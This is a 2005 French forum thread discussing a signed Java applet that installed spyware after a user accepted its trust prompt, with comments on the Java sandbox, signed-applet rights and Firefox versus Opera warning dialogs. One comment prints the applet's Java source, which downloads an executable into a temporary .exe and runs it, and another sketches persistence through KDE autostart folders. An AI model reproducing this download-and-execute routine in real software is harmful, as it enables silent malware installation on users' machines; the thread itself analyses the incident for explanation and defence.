Faire un don ! | | style | statistiques | contactez-nous | plan | lettre d'information

Journal : Java pour installer des spywares ?

Posté par fleny68 () le 27 mars 2005
http://www.futura-sciences.com/sinformer/n/news5816.php(...)

«Témoin la mésaventure vécue par Christopher Boyd, du blog Vitalsecurity.org. En recherchant les paroles de chansons sur un site spécialisé, avec Firefox s'il vous plaît, il se retrouve face à une fenêtre lui demandant s'il accepte de "faire confiance à l'applet signée par Integrated Search Technology".

Bien sûr, c'est là que n'importe quel internaute un peu expérimenté aurait répondu "non" et l'affaire en serait restée là. Mais de nature curieuse, Christopher Boyd a accepté. Il s'est alors immédiatement retrouvé avec une multitude de téléchargements automatiques tandis qu'une volée de modifications étaient apportées à la base de registres de Windows et qu'Internet Explorer démarrait tout seul, après avoir reçu la bénédiction d'une bonne demi-douzaine de spywares.
»

Commentaire en anglais;
http://www.vitalsecurity.org/2005/03/false-claims-of-firefox-spywar(...)

> Lire le journal (19 commentaires, moyenne: 4,8).  

Cette discussion est archivée, il n'est plus possible de laisser des commentaires.

Note : les commentaires appartiennent à ceux qui les ont postés. Nous n'en sommes pas responsables.

sceptique

Posté par vincent LECOQ (Jabber id, page perso, ) le 27/03/2005 à 17:41. (lien). Évalué à 5.

Il me semblait que java en version navigateur ne disposait pas de fonctions permettant d'acceder aux fichier ...
On m'aurait menti ?

--
Ma signature ici
  • [^]Re: sceptique

    Posté par Marc (Jabber id, page perso, ) le 27/03/2005 à 17:45. (lien). Évalué à 2.

    ben il me semblait que l'applet ne pouvait faire que très peu de chose aussi, ça me semble fumeux cette histoire.... Que ça télécharge oui, que ça puisse faire plus, je doute franchement...

  • [^]Re: sceptique

    Posté par fleny68 () le 27/03/2005 à 17:46. (lien). Évalué à 7.

    C'est bien le sens de ma question, je ne pensais pas cela possible.

    J'ai retrouvé l'original:
    http://www.vitalsecurity.org/2005/03/firefox-spyware-infects-ie.htm(...)

    • [^]Re: sceptique

      Posté par push () le 27/03/2005 à 18:19. (lien). Évalué à 8.

      bien sur que c'est possible mais il faut que l'applet soit signée et c'était le cas justement, mais dans ce cas l'utilisateur doit "valider" l'applet.

      Rien de nouveau quoi.

  • [^]Re: sceptique

    Posté par Moun's (page perso, ) le 27/03/2005 à 18:16. (lien). Évalué à 9.

    ce n'est possible que si tu approuve un certificat de securité donnant droit à la JVM d'acceder au systeme.

  • [^]Re: sceptique

    Posté par jcs (page perso, ) le 27/03/2005 à 18:17. (lien). Évalué à 2.

    faire confiance à l'applet signée par Integrated Search Technology

    Une applet signée, contrairement aux applets non signées qui n'ont que le droit de se connecter au serveur web où elle trouvent, a tous les droits, y compris de de lire/ecrire/exécuter des fichiers sur le système de fichier local.

    C'est d'ailleurs pour cette raison que quand une applet signée est exécuté dans le navigateur, un popup apparait, indiquant qu'elle est signée, affichant le nom du signataire avec son certificat.

    --
    Hurd will be out in a year (or two, or next month, who knows)
    -- Linus Benedict Torvalds, 1991
    • [^]Re: sceptique

      Posté par Sylvain Sauvage () le 28/03/2005 à 19:00. (lien). Évalué à 2.

      En fait, elles n'ont pas *tous* les droits, seulement ceux qu'on veut bien leur donner. On peut en effet donner des droits particuliers à chaque application ou applet Java (c'est le modèle de sécurité de Java 2, donc depuis 1.2).
      Le problème, c'est que, par défaut, tous les droits sont donnés.
      Sans compter qu'il n'est pas très facile de modifier ces droits (policytool ou éditer le fichier à la main).

      Voilà. Juste pour dire que c'est pas simple.

      • [^]Re: sceptique

        Posté par jcs (page perso, ) le 28/03/2005 à 21:32. (lien). Évalué à 2.

        Oui, bien sûr j'ai simplifié le problème. Je ne connais d'ailleurs personne qui a une fichier .java.policy dans son répertoire perso ou qui a modifié la politique de sécurité. En fait, parmi les développeurs java, à part ceux spécialisés dans la sécurité, j'en connais peu qui connaissent les détails du modèle de sécurité ; sans doute une conséquence de la faible attractivité des applets face aux applications.

        --
        Hurd will be out in a year (or two, or next month, who knows)
        -- Linus Benedict Torvalds, 1991

[+] ils se sont shootés à quoi ?

Posté par Pinaraf (Jabber id, ) le 27/03/2005 à 17:59. (lien). Évalué à -1.

J'aime ce genre de blagues...
l'applet => Java, tout le monde est d'accord
une volée de modifications étaient apportées à la base de registres de Windows => Java ne peut pas... À moins qu'il ne s'agisse de la machine Java de MS ?

  • [^]Re: ils se sont shootés à quoi ?

    Posté par jcs (page perso, ) le 27/03/2005 à 18:23. (lien). Évalué à 4.

    Euh, je ne comprends pas trop là. L'applet est signée, l'utilisateur accepte de la lancer, donc rien ne l'empèche de télécharger un morceau de code natif (disons une dll) pour faire appel à l'API Win32 et modifier la base de registre. JNI permet de faire ça, et ça marche je l'ai déjà fait.

    --
    Hurd will be out in a year (or two, or next month, who knows)
    -- Linus Benedict Torvalds, 1991
    • [^]Re: ils se sont shootés à quoi ?

      Posté par Pinaraf (Jabber id, ) le 27/03/2005 à 19:02. (lien). Évalué à 1.

      Mea culpa... Désolé. Je ne pensais pas que JNI serait activé pour une applet, qu'elle soit signée ou non !

Explications

Posté par Boa Treize (page perso, ) le 27/03/2005 à 18:23. (lien). Évalué à 10.

En suivant les liens, on tombe sur des trucs intéressants qui expliquent la chose. D'abord, le code source Java qui est à l'origine du mal :

private void jbInit() throws Exception
{
    File file = File.createTempFile(app, ".exe");
    ByteArrayOutputStream bytearrayoutputstream = downloadFile(url);
    if (bytearrayoutputstream == null)
        throw new IOException("downloading was failed");
    String s = saveFile(bytearrayoutputstream, file);
    bytearrayoutputstream.close();
    String s1 = "";
    if (account_id != null && account_id.length() > 0)
        s1 = s1 + " /aid:" + account_id;
    if (download_key != null && download_key.length() > 0)
        s1 = s1 + " /key:" + download_key;
    if (download_lock != null && download_lock.length() > 0)
        s1 = s1 + " /lock:" + download_lock;
    if (cfg != null && cfg.length() > 0)
        s1 = s1 + " /cfg:" + cfg;
    if (sub != null && sub.length() > 0)
        s1 = s1 + " /sub:" + sub;
    Runtime.getRuntime().exec(file.getAbsolutePath() + s1);
}

Traduit en français :

* Créé un fichier temporaire dont le nom finit par ".exe"
* Mets-y les octets que l'on trouve dans "url" (donc, télécharge un exe à partir du site)
* Selon différentes valeurs trouvées dans l'environnement et les paramètres, créé les arguments appropriés pour le programme (identifiant du compte de l'utilisateur, etc.)
* Exécute le fichier temporaire

C'est l'exécutable téléchargé qui fout ensuite le boxon sur la machine. Cet exécutable n'a rien à voir avec Java ou Firefox (ou Opéra ou quoi que ce soit). Le fait qu'il puisse foutre le boxon sur la machine a tout à voir avec Windows. (On pourrait imaginer d'ailleurs une version Linux qui explose le répertoire personnel de l'utilisateur, ça marcherait très bien. Ou pour être plus discret, qui ajoute des entrées dans $HOME/.kde/Autostart/ et dans $HOME/.kde/shutdown/.)

Mais revenons à notre problème initial : comment Java a-t-il pu créer et puis lancer cet exécutable ? Où est le célèbre bac à sable qui fait la sécurité des applets ? Et bien, par défaut, il est là, bien sûr, et il interdit l'exécution des méthodes createTempFile() et exec(). Y'a qu'à voir le résultat dans la console Java d'Opéra :

java.lang.SecurityException: Unable to create temporary file
  at java.io.File.checkAndCreate(Unknown Source)
  at java.io.File.createTempFile(Unknown Source)
  at java.io.File.createTempFile(Unknown Source)
  at InstallerApplet.jbInit(InstallerApplet.java:73)
  at InstallerApplet.init(InstallerApplet.java:65)
  at sun.applet.AppletPanel.run(Unknown Source)
  at java.lang.Thread.run(Unknown Source)

Par contre, comme le navigateur est poli, il demande à l'utilisateur l'autorisation d'exécuter ces méthodes. À ce niveau, la boîte de dialogue d'Opéra est beaucoup plus claire que celle de Firefox :

Opéra (demande plus de privilèges)
http://people.opera.com/rijk/tmp/java-warning.png(...)

Firefox (demande habituelle de faire confiance)
http://people.opera.com/rijk/tmp/java-warning-ff.png(...)
(note : la boîte serait plus anodine si le certificat était valide)

Mais dans les deux cas, on sait bien que beaucoup d'utilisateurs vont cliquer « Oui », car la principale faille de sécurité reste située entre la chaise et le clavier.

Possibilités d'amélioration pour les navigateurs : boîtes de dialogue encore plus claires (notamment pour Firefox), voire même blocage silencieux de certaines actions Java.

Sources :

Réponses à l'article dans le blog (très mal titré d'ailleurs)
http://www.vitalsecurity.org/2005/03/firefox-spyware-infects-ie.htm(...)

Fil de discussion chez Opéra
http://my.opera.com/forums/showthread.php?s=512c7fd1aabfb0005ffc002(...)

  • [^]Re: Explications

    Posté par polux14 () le 27/03/2005 à 18:37. (lien). Évalué à 8.


    Mais dans les deux cas, on sait bien que beaucoup d'utilisateurs vont cliquer « Oui », car la principale faille de sécurité reste située entre la chaise et le clavier.


    C'est trop vrai :(
    En faite, il devrait poser la question différament du style:
    Attention! Danger!
    Voulez vous que votre navigateur vous protége ?
    OUI non

    • [^]Re: Explications

      Posté par fleny68 () le 27/03/2005 à 19:04. (lien). Évalué à 10.

      Plus efficace serait de ne pas poser la question.
      Juste un petit bandeau informatif:
      Firefox a empéché une applet d'acquérir les droits et l'a bloqué. Pour modifier les options de ce site cliquez ici.

      • [^]Re: Explications

        Posté par Sylvain Sauvage () le 28/03/2005 à 19:03. (lien). Évalué à 2.

        Pendant un moment, galeon refusait tout simplement les applets signées non certifiées.
        Pas très pratique pour le développement mais efficace.

Rien de nouveau...

Posté par Guillaume Knispel () le 27/03/2005 à 21:40. (lien). Évalué à 9.

Bah absolument rien de nouveau...
Un type permet a une applet de s'executer avec accès à la machine hôte... Ca mérite même pas un article sur futura ca mérite juste qu'il suive une formation pour arreter de faire n'importe quoi :p
A quand un article sur "Un site web demande aux utilisateurs de télécharger puis d'installer eux-même des spywares et certains le font." :)

  • [^]Si, une chose

    Posté par Boa Treize (page perso, ) le 27/03/2005 à 23:03. (lien). Évalué à 5.

    On a quand même appris que la boîte de dialogue d'Opera est plus claire que celle de Firefox sur les conséquences d'un « oui », et qu'il faudrait améliorer ce dernier.

    Firefox émet un premier avertissement concernant les problèmes du certificat utilisé. L'utilisateur expérimenté passe son chemin, mais si quelqu'un choisit de faire confiance à l'applet, il devrait ensuite avoir un avertissement lorsque celle-ci tente de sortir du bac à sable, une boîte de dialogue du genre « ce programme tente d'écrire sur votre disque dur, voulez-vous l'autoriser à le faire ? » (avec pause de quelques secondes avant que les boutons ne s'activent). Bien sûr, il restera des gens pour cliquer « oui », mais bon nombre d'utilisateurs qui ne comprennent rien aux certificats et trucs compliqués sera plus réceptif à une tentative d'écriture sur le disque (après tout, on leur a bien expliqué que les cookies étaient stockés sur le disque dur, et que c'était mal...).

    On pourrait aussi décider d'interdire complètement les exec(), une interdiction paramétrable dans la configuration du navigateur, tout comme on interdit actuellement à JavaScript d'ouvrir une fenêtre...

    Enfin bref, pour l'essentiel, un problème pour les experts d'interface homme-machine et d'interface chaise-clavier.

    • [^]Re: Si, une chose

      Posté par Alexandre LISSY (Jabber id, ) le 28/03/2005 à 17:14. (lien). Évalué à 2.

      Je dirais même que la boite de Mozilla ou Firefox est très mal faite, puisqu'elle parle juste de faire confiance (applet signée donc).

      En aucun cas il est fait mention d'une quelconque demande de prvilèges supplémentaires !

  • [^]Re: Rien de nouveau...

    Posté par Jean Canazzi () le 28/03/2005 à 10:04. (lien). Évalué à 4.

    A quand un article sur "Un site web demande aux utilisateurs de télécharger puis d'installer eux-même des spywares et certains le font." :)

    Tiens, c'est en gros ce qu'a fait ZDnet avec le "virus" Opener pour MacOS X :
    http://www.zdnet.fr/actualites/telecoms/0,39040748,39179632,00.htm(...)

    Extrait de l'article :

    [...]il ne se diffuse pas comme les virus classiques via la messagerie électronique. Il faut qu'une personne l'inocule directement sur une machine en le copiant dans le répertoire de démarrage.

    Détournement de définition en somme, qui leur a permis d'offir un super titre tape à l'oeil à leur article :
    Mac OS X touché par le virus Opener

    :o)

Revenir en haut de page